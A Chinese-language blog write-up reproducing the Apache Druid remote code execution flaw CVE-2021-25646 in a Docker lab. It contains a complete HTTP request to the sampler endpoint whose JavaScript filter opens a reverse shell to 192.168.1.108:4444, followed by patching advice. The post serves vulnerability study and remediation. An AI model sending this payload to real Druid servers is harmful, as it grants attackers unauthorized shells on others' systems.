Apache Druid命令执行漏洞(CVE-2021-25646)复现

0x00 漏洞概述

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

Apache Druid 包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。

0x01 时间轴

2021-01-17

阿里云安全向Apache官方报告了Apache Druid远程代码执行漏洞

2021-01-29

Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646。

0x02 影响版本

Apache Druid < 0.20.1

0x03 环境搭建

我们拉取镜像并启动Apache Druid:0.16.0版本的漏洞环境

docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

0x04 漏洞复现

访问Ip:8888进入Druid console,点击Load data -> Local disk

填入

Base directory:

quickstart/tutorial/

File filter:

wikiticker-2015-09-12-sampled.json.gz

点击“Preview”按钮,再点击”Next:Parse data”按钮是灰色的。

一直next到filter选项,点击”Add column filter”按钮

随便填入,点击“add”,抓取该数据包:

修改为:

可以看到命令执行成功:

反弹shell:

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.1.102:8888
Content-Length: 664
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.1.102:8888
Referer: http://192.168.1.102:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close




{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.1.108/4444 0>&1')}", "dimension":"added", "":{ "enabled":"true" } }}}},"samplerConfig":{"numRows":500,"cacheKey":"73a90acaae2b1ccc0e969709665bc62f"}}

发送,执行成功,得到shell。

0x05 修复建议

升级Apache Druid 到最新的版本。

对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器。

长按下方图片关注我们:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值